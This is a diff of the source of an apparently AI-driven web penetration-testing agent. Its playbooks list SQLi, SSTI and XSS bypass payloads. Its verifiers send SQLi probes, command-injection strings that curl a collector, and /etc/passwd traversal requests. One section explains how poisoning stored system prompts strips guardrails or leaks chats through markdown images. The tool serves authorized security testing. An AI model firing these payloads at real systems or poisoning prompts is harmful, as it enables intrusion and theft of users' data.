+  if (!access)
+    return { primitive: "unknown" };
+  return {
+    primitive: access[1].toLowerCase(),
+    accessSize: Number(access[2])
+  };
+}
+function parseFrames(text) {
+  const frames = [];
+  const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
+  let match;
+  while ((match = frameRegex.exec(text)) !== null) {
+    frames.push({
+      functionName: match[1],
+      file: match[2],
+      line: Number(match[3])
+    });
+  }
+  return frames;
+}
+function parseAsan(text) {
+  const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
+  if (!header?.[1])
+    return null;
+  const kind = header[1].toLowerCase();
+  const { primitive, accessSize } = parsePrimitive(text);
+  const frames = parseFrames(text);
+  let sourceFile = frames[0]?.file;
+  let sourceLine = frames[0]?.line;
+  const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
+  if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
+    sourceFile = summary[1];
+    sourceLine = Number(summary[2]);
+  }
+  const allocMatch = text.match(/\b(\d+)-byte region\b/i);
+  const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
+  return {
+    sanitizer: "asan",
+    kind,
+    category: categoryForAsan(kind, primitive),
+    primitive,
+    sourceFile,
+    sourceLine,
+    allocSize,
+    accessSize,
+    summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
+    frames
+  };
+}
+function parseUbsan(text) {
+  const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
+  if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
+    return null;
+  const details = runtime[4].trim();
+  const { kind, category } = categoryForUbsan(details);
+  return {
+    sanitizer: "ubsan",
+    kind,
+    category,
+    primitive: "unknown",
+    sourceFile: runtime[1],
+    sourceLine: Number(runtime[2]),
+    summary: details,
+    frames: []
+  };
+}
+function parseSanitizerLog(text) {
+  const trimmed = text.trim();
+  if (!trimmed)
+    return null;
+  return parseAsan(trimmed) ?? parseUbsan(trimmed);
+}
+function renderSanitizerVerdict(verdict) {
+  const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
+  const sizes = [
+    verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
+    verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
+  ].filter(Boolean).join(", ");
+  return [
+    `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
+    `category=${verdict.category}`,
+    `primitive=${verdict.primitive}`,
+    `source=${loc}`,
+    sizes || null
+  ].filter(Boolean).join("; ");
+}
 
-**Attribute context escapes:**
-- " onmouseover=alert(1) x="
-- '-alert(1)-'
-- javascript:alert(1) (in href/src attributes)
+// packages/core/dist/agent/playbooks.js
+var PLAYBOOKS = {
+  sqli: `## SQLi Playbook
+- Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
+- Check for error-based: ' AND 1=CONVERT(int,@@version)--
+- For blind: write Python timing script (see script templates)
+- Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
+- Try UNION SELECT with increasing column count
+- Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
+- If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
+  structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
+The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
+- Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
+- Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
+- Run the blind error-iteration loop (load the structural-sqli skill for the full algorithm):
+  1. Break: inject key with a trailing quote (name') \u2014 unbalances the statement, elicits a DB error that confirms the key reaches the parser.
+  2. Fingerprint the dialect from the error (MySQL "error in your SQL syntax" / Postgres "unterminated quoted string" / MSSQL "Unclosed quotation mark" / Oracle ORA-NNNNN / SQLite "unrecognized token").
+  3. Balance: re-close the quote + comment the tail with the DISCOVERED dialect's syntax (MySQL needs "-- " with a space \u2192 name'-- -). No error on the balanced key while the broken key errored \u21D2 structural SQLi confirmed.
+- Prove with an ORDER BY boolean/error oracle (no quotes needed); extract minimal non-sensitive proof; save the finding WITH the ordered iteration trail.`,
+  ssti: `## SSTI Playbook
+- Confirm with: {{7*7}}, \${7*7}, <%= 7*7 %>
+- Identify engine: {{config}} (Jinja2), #{7*7} (Ruby), {{self}} (Twig)
+- Escalate Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
+- Escalate Django: {% load module %}{% module.dangerous %}
+- Try {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
+- If blocked, try: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}`,
+  idor: `## IDOR Playbook
+- Login with provided/default creds first
+- Find any URL with an ID parameter: /api/users/1, /profile?id=1, /edit/1
+- Try incrementing/decrementing IDs: 0, 2, 3, 999, admin
+- Try changing user identifiers in POST body: user_id, owner_id, account_id
+- Check both GET and POST/PUT endpoints for same resource
+- Try negative IDs, very large IDs, string values where integers expected
+- Check indirect IDOR: change ID in one endpoint, observe result in another`,
+  access_control: `## Broken Access Control Playbook (BOLA / IDOR / BFLA \u2014 multi-identity)
+
+This is the highest-impact API vuln class (OWASP API #1 & #5) and is ONLY
+testable with \u22652 identities. If the scan configured multiple identities, use
+the **access_control_probe** tool \u2014 it captures a resource as the authorized
+identity, replays the SAME request as another identity, and diffs the result.
+
+### Horizontal (BOLA / IDOR) \u2014 read another user's object
+1. As identity A, find an object you legitimately own: /api/users/{A_id},
+   /api/orders/{A_order}, /account/{A_id}/settings, ?id={A_id}.
+2. Call \`access_control_probe\` with that URL, baseline_identity = A,
+   compare_identities = [B], expect_denied = true.
+3. If B gets a 2xx with the SAME body A saw \u2192 confirmed BOLA. The tool returns
+   A-vs-B request/response evidence \u2014 pass it straight into save_finding.
+4. Also try B's own id incremented/decremented to A's id in the path AND body
+   (user_id, owner_id, account_id) \u2014 IDOR often hides in the POST/PUT body.
+
+### Vertical (BFLA) \u2014 low-priv reaching admin-only function
+1. As the admin identity, hit an admin-only endpoint (/admin, /api/admin/users,
+   role-changing POSTs).
+2. \`access_control_probe\` baseline_identity = admin, compare_identities =
+   [low-priv user, anonymous], expect_denied = true.
+3. A 2xx for the low-priv / anonymous identity = vertical privilege escalation.
+
+### Cross-tenant writes and multi-step workflows
+1. Use a disposable resource and a fresh marker within the approved scope.
+2. Call \`access_control_workflow\` with the owner and actor identities,
+   an owner-visible JSON observation, the actor's ordered requests, and
+   \`allow_mutation: true\`.
+3. Confirm only when the owner-visible state changes to the expected marker.
+   A 2xx/no-op is not proof, and a 403 can still hide a committed state change.
+4. Keep before/after and per-step evidence. Missing observations, transport
+   errors, or a marker already present before the attempt are inconclusive.
+
+### Tips
+- The HTTP tools are now stateful: a session cookie captured via submit_form is
+  auto-re-injected, so you do NOT need manual \`curl -c/-b\` jars.
+- A 200 alone isn't proof \u2014 the probe's body-similarity diff is what confirms
+  the SAME resource crossed the boundary. Save findings only on a real diff.`,
+  xss: `## XSS Playbook
+
+### Step 1: Identify Injection Points
+- Use curl to fetch every page with forms or URL parameters
+- Look for reflected output: inject a unique canary string (e.g. "osec123xss") and check if it appears unescaped in the response HTML
+- Check Content-Type headers \u2014 XSS only works when response is text/html
+- Note which characters are reflected vs stripped: < > " ' / \` ( ) = on
+
+### Step 2: Test with Basic Payloads via curl
+- Reflected: <script>alert(1)</script> in all params (GET and POST)
+- Event handlers: <img src=x onerror=alert(1)>, <svg onload=alert(1)>
+- Stored XSS: inject in forms that save data (comments, profiles, settings), then visit the page where it renders
+- DOM XSS: look for document.location, innerHTML, eval, document.write in client JS source
+
+### Step 3: Confirm XSS with the Browser Tool (CRITICAL)
+curl CANNOT execute JavaScript \u2014 you MUST use the browser tool to confirm XSS fires.
+1. browser action=navigate url=TARGET_URL_WITH_PAYLOAD
+2. Check the "dialogs" array in the response \u2014 if it contains "alert: 1" or similar, XSS is CONFIRMED
+3. If no dialog fires, try: browser action=evaluate script="document.querySelector('img[onerror]') !== null"
+4. For stored XSS: first inject via curl/submit_form, then navigate with browser to the render page
+5. For DOM XSS: browser action=navigate to the page, then action=evaluate to check if payload executed
+
+### Step 4: WAF/Filter Bypass Payloads
+If basic payloads are blocked, try these bypasses IN ORDER:
+
+**Angle brackets stripped/encoded:**
+- " onfocus=alert(1) autofocus="
+- ' onfocus='alert(1)' autofocus='
+- " autofocus onfocus=alert(1)//
+
+**script tag blocked:**
+- <img src=x onerror=alert(1)>
+- <svg/onload=alert(1)>
+- <details open ontoggle=alert(1)>
+- <body onload=alert(1)>
+- <marquee onstart=alert(1)>
+- <video><source onerror=alert(1)>
+- <input onfocus=alert(1) autofocus>
+
+**alert() blocked:**
+- <img src=x onerror=confirm(1)>
+- <img src=x onerror=prompt(1)>
+- <img src=x onerror=print()>
+- <img src=x onerror=window['al'+'ert'](1)>
+
+**Encoding bypasses:**
+- URL encoding: %3Cscript%3Ealert(1)%3C/script%3E
+- Double URL encoding: %253Cscript%253Ealert(1)%253C%252Fscript%253E
+- HTML entities: &lt;script&gt; (check if decoded server-side)
+- Unicode: \\u003cscript\\u003ealert(1)\\u003c/script\\u003e
+- Mixed case: <ScRiPt>alert(1)</ScRiPt>
+- Null bytes: <scr%00ipt>alert(1)</script>
+
+**Attribute context escapes:**
+- " onmouseover=alert(1) x="
+- '-alert(1)-'
+- javascript:alert(1) (in href/src attributes)
 - data:text/html,<script>alert(1)</script> (in iframe src)
 
 **Template/framework specific:**
@@ -1378,607 +1896,148 @@ var INDICATORS = [
       /gc\.collect\(/i,
       /garbage collector/i,
       /\.rs\b/,
-      /\bcargo\b/i,
-      /\bsegfault\b/i,
-      /sandbox escape/i
-    ]
-  }
-];
-function detectPlaybooks(toolResultTexts) {
-  const combined = toolResultTexts.join("\n");
-  const scores = /* @__PURE__ */ new Map();
-  for (const indicator of INDICATORS) {
-    let matchCount = 0;
-    for (const pattern of indicator.patterns) {
-      if (pattern.test(combined)) {
-        matchCount++;
-      }
-    }
-    if (matchCount >= 2) {
-      scores.set(indicator.type, matchCount);
-    }
-  }
-  return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
-}
-function buildPlaybookInjection(types) {
-  const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
-  if (sections.length === 0)
-    return "";
-  return [
-    "## Dynamic Playbook Injection",
-    "",
-    "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
-    "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
-    "",
-    ...sections
-  ].join("\n");
-}
-var PROMPT_LAYER_IMPACT_RULES = [
-  {
-    impact: "guardrail_removal",
-    patterns: [
-      /\bguardrail/i,
-      /safety[_\s-]?settings?/i,
-      /\bmoderation\b/i,
-      /\bpolicy\b/i,
-      /\brefus/i,
-      /\bnever (?:reveal|disclose|share|answer)/i,
-      /you must (?:refuse|not)/i,
-      /content[_\s-]?filter/i
-    ]
-  },
-  {
-    impact: "output_channel_exfil",
-    patterns: [
-      /output[_\s-]?(?:channel|template|format)/i,
-      /webhook/i,
-      /\bcallback\b/i,
-      /markdown/i,
-      /!\[[^\]]*\]\(https?:\/\//,
-      /append .*(?:url|link|http)/i
-    ]
-  },
-  {
-    impact: "model_config_tamper",
-    patterns: [
-      /model[_\s-]?(?:config|name|id)/i,
-      /\btemperature\b/i,
-      /\btop[_\s-]?p\b/i,
-      /\bmax[_\s-]?tokens\b/i,
-      /tool[_\s-]?(?:config|choice|s)\b/i,
-      /function[_\s-]?(?:config|call)/i,
-      /assistant[_\s-]?config/i,
-      /agent[_\s-]?config/i
-    ]
-  },
-  {
-    impact: "prompt_poisoning",
-    patterns: [
-      /system[_\s-]?prompt/i,
-      /prompt[_\s-]?template/i,
-      /\bprompts?\b/i,
-      /\binstructions?\b/i,
-      /\bpersona\b/i,
-      /you are (?:a|an|now|the)/i
-    ]
-  }
-];
-function looksLikePromptLayer(haystack) {
-  return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
-}
-function classifyPromptLayerImpact(asset) {
-  const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
-  const isPromptLayer = looksLikePromptLayer(haystack);
-  if (!isPromptLayer) {
-    return {
-      isPromptLayer: false,
-      impacts: [],
-      severity: "info",
-      narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
-    };
-  }
-  const impacts = [];
-  for (const rule of PROMPT_LAYER_IMPACT_RULES) {
-    if (rule.patterns.some((p) => p.test(haystack))) {
-      impacts.push(rule.impact);
-    }
-  }
-  if (!asset.writable) {
-    return {
-      isPromptLayer: true,
-      impacts: [],
-      severity: "low",
-      narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
-    };
-  }
-  const reRead = asset.reReadAtInference === true;
-  const severity = reRead ? "high" : "low";
-  const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
-  const narrative = [
-    `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
-    reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
-    `Impact class(es): ${impacts.join(", ")}.`,
-    ...impactLabels.map((l) => `- ${l}`),
-    "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
-  ].join("\n");
-  return { isPromptLayer: true, impacts, severity, narrative };
-}
-var IMPACT_NARRATIVE = {
-  prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
-  guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
-  output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
-  model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
-};
-function describeAsset(asset) {
-  const loc = [asset.table, asset.column].filter(Boolean).join(".");
-  return loc || "unnamed asset";
-}
-
-// packages/core/dist/triage/oracle-runtime.js
-import { randomUUID } from "node:crypto";
-import { createServer } from "node:http";
-
-// packages/core/dist/triage/oracles.js
-var DEFAULT_TIMEOUT_MS = 1e4;
-function notVerifiable(reason) {
-  return { verified: false, confidence: 0, evidence: "", reason };
-}
-function verified(evidence, confidence = 1) {
-  return { verified: true, confidence, evidence, reason: "" };
-}
-function parseRequest(requestText, fallbackTarget) {
-  const parsed = {
-    method: "GET",
-    url: fallbackTarget,
-    headers: {},
-    body: "",
-    params: {}
-  };
-  const parseFallbackQuery = () => {
-    try {
-      const u = new URL(parsed.url);
-      u.searchParams.forEach((v, k) => {
-        parsed.params[k] = v;
-      });
-    } catch {
-    }
-  };
-  if (!requestText) {
-    parseFallbackQuery();
-    return parsed;
-  }
-  const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
-  if (curlUrl)
-    parsed.url = curlUrl[1].replace(/['"]$/, "");
-  const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
-  if (curlMethod)
-    parsed.method = curlMethod[1].toUpperCase();
-  const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
-  if (curlData)
-    parsed.body = curlData[1];
-  const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
-  if (startLine) {
-    parsed.method = startLine[1].toUpperCase();
-    const path = startLine[2];
-    const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
-    if (hostHeader) {
-      const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
-      parsed.url = `${scheme}://${hostHeader[1]}${path}`;
-    } else if (path.startsWith("/")) {
-      try {
-        const base = new URL(fallbackTarget);
-        parsed.url = `${base.origin}${path}`;
-      } catch {
-        parsed.url = path;
-      }
-    } else {
-      parsed.url = path;
-    }
-    const sep = requestText.indexOf("\n\n");
-    if (sep >= 0)
-      parsed.body = requestText.slice(sep + 2).trim();
-  }
-  try {
-    const u = new URL(parsed.url);
-    u.searchParams.forEach((v, k) => {
-      parsed.params[k] = v;
-    });
-  } catch {
-  }
-  if (parsed.body && parsed.body.includes("=") && !parsed.body.startsWith("{")) {
-    for (const pair of parsed.body.split("&")) {
-      const [k, v] = pair.split("=");
-      if (k)
-        parsed.params[decodeURIComponent(k)] = decodeURIComponent(v ?? "");
-    }
-  }
-  return parsed;
-}
-function buildProbeRequest(parsed, newParams) {
-  const merged = { ...parsed.params, ...newParams };
-  const method = parsed.method || "GET";
-  const init = { method, headers: parsed.headers };
-  if (method === "GET" || method === "DELETE") {
-    try {
-      const u = new URL(parsed.url);
-      Array.from(u.searchParams.keys()).forEach((k) => u.searchParams.delete(k));
-      for (const [k, v] of Object.entries(merged))
-        u.searchParams.set(k, v);
-      return { url: u.toString(), init };
-    } catch {
-      return { url: parsed.url, init };
-    }
-  }
-  init.body = new URLSearchParams(merged).toString();
-  init.headers = {
-    "content-type": "application/x-www-form-urlencoded",
-    ...parsed.headers
-  };
-  return { url: parsed.url, init };
-}
-async function timedFetch(url, init, timeoutMs = DEFAULT_TIMEOUT_MS) {
-  const controller = new AbortController();
-  const timer = setTimeout(() => controller.abort(), timeoutMs);
-  const start = Date.now();
-  try {
-    const res = await fetch(url, { ...init, signal: controller.signal });
-    const body = await res.text();
-    return { status: res.status, body, latencyMs: Date.now() - start };
-  } catch {
-    return null;
-  } finally {
-    clearTimeout(timer);
-  }
-}
-var SQL_ERROR_PATTERNS = [
-  // MySQL
-  /You have an error in your SQL syntax/i,
-  /\bmysql_fetch_/i,
-  /\bMySQLSyntaxErrorException\b/i,
-  /\bMariaDB\b.*?\bsyntax\b/i,
-  // PostgreSQL
-  /\bPG::SyntaxError\b/i,
-  /\bpq:\s+syntax error\b/i,
-  /\bpsql:.*?ERROR:/i,
-  /unterminated quoted string/i,
-  // SQLite
-  /\bSQLite3::/i,
-  /\bsqlite3\.OperationalError\b/i,
-  /near\s+".+?":\s*syntax error/i,
-  // MSSQL
-  /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
-  /\bUnclosed quotation mark\b/i,
-  /\bOLE DB.*?SQL Server\b/i,
-  // Oracle
-  /\bORA-\d{4,5}\b/i,
-  /\bquoted string not properly terminated\b/i
-];
-function detectSqlError(body) {
-  for (const re of SQL_ERROR_PATTERNS) {
-    const m = body.match(re);
-    if (m)
-      return m[0];
-  }
-  return null;
-}
-function pickInjectableParam(parsed) {
-  for (const [k, v] of Object.entries(parsed.params)) {
-    if (v && v.length > 0)
-      return { key: k, value: v };
-  }
-  const first = Object.keys(parsed.params)[0];
-  if (first)
-    return { key: first, value: parsed.params[first] ?? "" };
-  return null;
-}
-async function verifySqli(finding, target) {
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const signals = [];
-  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
-  if (!baseline)
-    return notVerifiable("baseline request failed");
-  const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
-  const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
-  if (trueProbe && falseProbe && trueProbe.body.length > 0) {
-    const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
-    if (delta > 0.1) {
-      signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
-    }
-  }
-  const timePayloads = [
-    `${victim.value}' AND SLEEP(3)-- -`,
-    `${victim.value}'; SELECT pg_sleep(3)-- -`,
-    `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
-  ];
-  for (const payload of timePayloads) {
-    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
-    if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
-      signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
-      break;
-    }
-  }
-  const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
-  if (errProbe) {
-    const err = detectSqlError(errProbe.body);
-    if (err)
-      signals.push(`sql_error: ${err}`);
-  }
-  if (signals.length >= 2) {
-    return verified(signals.join(" | "));
-  }
-  return {
-    verified: false,
-    confidence: signals.length === 1 ? 0.4 : 0,
-    evidence: signals.join(" | "),
-    reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
-  };
-}
-async function verifyReflectedXss(finding, target) {
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const token = `osec_${randomUUID().replace(/-/g, "")}`;
-  const payload = `<script>alert('${token}')</script>`;
-  const { url, init } = buildProbeRequest(parsed, {
-    [victim.key]: payload
-  });
-  const probe = await timedFetch(url, init);
-  const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
-  let playwright = null;
-  try {
-    playwright = await import("playwright");
-  } catch {
-  }
-  if (playwright) {
-    let browser = null;
-    try {
-      browser = await playwright.chromium.launch({ headless: true });
-      const page = await browser.newPage();
-      let dialogMessage = "";
-      page.on("dialog", async (dialog) => {
-        if (dialog.type() === "alert" && dialog.message() === token) {
-          dialogMessage = token;
-        }
-        await dialog.dismiss().catch(() => {
-        });
-      });
-      let replayed = false;
-      await page.route((candidate) => candidate.href === new URL(url).href, async (route) => {
-        const request = route.request();
-        if (!replayed && request.isNavigationRequest() && request.frame() === page.mainFrame()) {
-          replayed = true;
-          await route.continue({
-            method: init.method,
-            headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
-            ...typeof init.body === "string" ? { postData: init.body } : {}
-          });
-        } else {
-          await route.continue();
-        }
-      });
-      await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
-      await page.waitForTimeout(500);
-      await browser.close();
-      browser = null;
-      if (dialogMessage === token) {
-        return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
-      }
-    } catch (err) {
-      if (browser)
-        await browser.close().catch(() => {
-        });
-      return {
-        verified: false,
-        confidence: htmlReflected ? 0.4 : 0,
-        evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
-        reason: `playwright navigation failed: ${err.message}`
-      };
-    }
-  }
-  if (htmlReflected) {
-    return {
-      verified: false,
-      confidence: 0.5,
-      evidence: `html_reflection: payload reflected unencoded in response body`,
-      reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
-    };
-  }
-  return notVerifiable("no xss reflection or alert captured");
-}
-async function withCollector(nonce, timeoutMs, work) {
-  const port = 8888 + Math.floor(Math.random() * 1e3);
-  let hit = false;
-  const server = createServer((req, res) => {
-    if ((req.url ?? "").includes(nonce))
-      hit = true;
-    res.writeHead(200);
-    res.end("ok");
-  });
-  await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
-  const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
-  const waitForHit = async () => {
-    const deadline = Date.now() + timeoutMs;
-    while (Date.now() < deadline) {
-      if (hit)
-        return true;
-      await new Promise((r) => setTimeout(r, 100));
-    }
-    return hit;
-  };
-  try {
-    return await work(collectorUrl, waitForHit);
-  } finally {
-    await new Promise((resolve) => server.close(() => resolve()));
+      /\bcargo\b/i,
+      /\bsegfault\b/i,
+      /sandbox escape/i
+    ]
   }
-}
-async function verifySsrf(finding, target) {
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
-  return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
-    const { url, init } = buildProbeRequest(parsed, {
-      [victim.key]: collectorUrl
-    });
-    const probe = await timedFetch(url, init, 8e3);
-    if (!probe)
-      return notVerifiable("ssrf probe failed to send");
-    const hit = await waitForHit();
-    if (hit) {
-      return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
-    }
-    return {
-      verified: false,
-      confidence: 0,
-      evidence: "",
-      reason: `collector never received a request for nonce=${nonce}`
-    };
-  });
-}
-async function verifyRce(finding, target) {
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
-  return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
-    const payloads = [
-      `${victim.value};curl ${collectorUrl}`,
-      `${victim.value}|curl ${collectorUrl}`,
-      `${victim.value}$(curl ${collectorUrl})`,
-      `${victim.value}\`curl ${collectorUrl}\``,
-      `${victim.value}&&curl ${collectorUrl}`
-    ];
-    for (const payload of payloads) {
-      const { url, init } = buildProbeRequest(parsed, {
-        [victim.key]: payload
-      });
-      await timedFetch(url, init, 8e3);
+];
+function detectPlaybooks(toolResultTexts) {
+  const combined = toolResultTexts.join("\n");
+  const scores = /* @__PURE__ */ new Map();
+  for (const indicator of INDICATORS) {
+    let matchCount = 0;
+    for (const pattern of indicator.patterns) {
+      if (pattern.test(combined)) {
+        matchCount++;
+      }
     }
-    const hit = await waitForHit();
-    if (hit)
-      return verified(`collector hit: nonce=${nonce}`);
-    return {
-      verified: false,
-      confidence: 0,
-      evidence: "",
-      reason: `collector never received a request for nonce=${nonce}`
-    };
-  });
-}
-var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
-async function verifyPathTraversal(finding, target) {
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const payloads = [
-    "../../../../etc/passwd",
-    "..%2f..%2f..%2f..%2fetc%2fpasswd",
-    "..%252f..%252f..%252fetc%252fpasswd",
-    "../../../../etc/passwd%00",
-    "....//....//....//etc/passwd",
-    "/etc/passwd"
-  ];
-  for (const payload of payloads) {
-    const { url, init } = buildProbeRequest(parsed, {
-      [victim.key]: payload
-    });
-    const probe = await timedFetch(url, init);
-    if (!probe)
-      continue;
-    const m = probe.body.match(PASSWD_PATTERN);
-    if (m) {
-      return verified(`payload=${payload} response contained "${m[0]}"`);
+    if (matchCount >= 2) {
+      scores.set(indicator.type, matchCount);
     }
   }
-  return notVerifiable("no /etc/passwd signature in any traversal probe response");
+  return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
 }
-async function verifyIdor(finding, target) {
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  let idKey = null;
-  let idValue = 0;
-  for (const [k, v] of Object.entries(parsed.params)) {
-    if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
-      idKey = k;
-      idValue = parseInt(v, 10);
-      break;
-    }
+function buildPlaybookInjection(types) {
+  const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
+  if (sections.length === 0)
+    return "";
+  return [
+    "## Dynamic Playbook Injection",
+    "",
+    "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
+    "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
+    "",
+    ...sections
+  ].join("\n");
+}
+var PROMPT_LAYER_IMPACT_RULES = [
+  {
+    impact: "guardrail_removal",
+    patterns: [
+      /\bguardrail/i,
+      /safety[_\s-]?settings?/i,
+      /\bmoderation\b/i,
+      /\bpolicy\b/i,
+      /\brefus/i,
+      /\bnever (?:reveal|disclose|share|answer)/i,
+      /you must (?:refuse|not)/i,
+      /content[_\s-]?filter/i
+    ]
+  },
+  {
+    impact: "output_channel_exfil",
+    patterns: [
+      /output[_\s-]?(?:channel|template|format)/i,
+      /webhook/i,
+      /\bcallback\b/i,
+      /markdown/i,
+      /!\[[^\]]*\]\(https?:\/\//,
+      /append .*(?:url|link|http)/i
+    ]
+  },
+  {
+    impact: "model_config_tamper",
+    patterns: [
+      /model[_\s-]?(?:config|name|id)/i,
+      /\btemperature\b/i,
+      /\btop[_\s-]?p\b/i,
+      /\bmax[_\s-]?tokens\b/i,
+      /tool[_\s-]?(?:config|choice|s)\b/i,
+      /function[_\s-]?(?:config|call)/i,
+      /assistant[_\s-]?config/i,
+      /agent[_\s-]?config/i
+    ]
+  },
+  {
+    impact: "prompt_poisoning",
+    patterns: [
+      /system[_\s-]?prompt/i,
+      /prompt[_\s-]?template/i,
+      /\bprompts?\b/i,
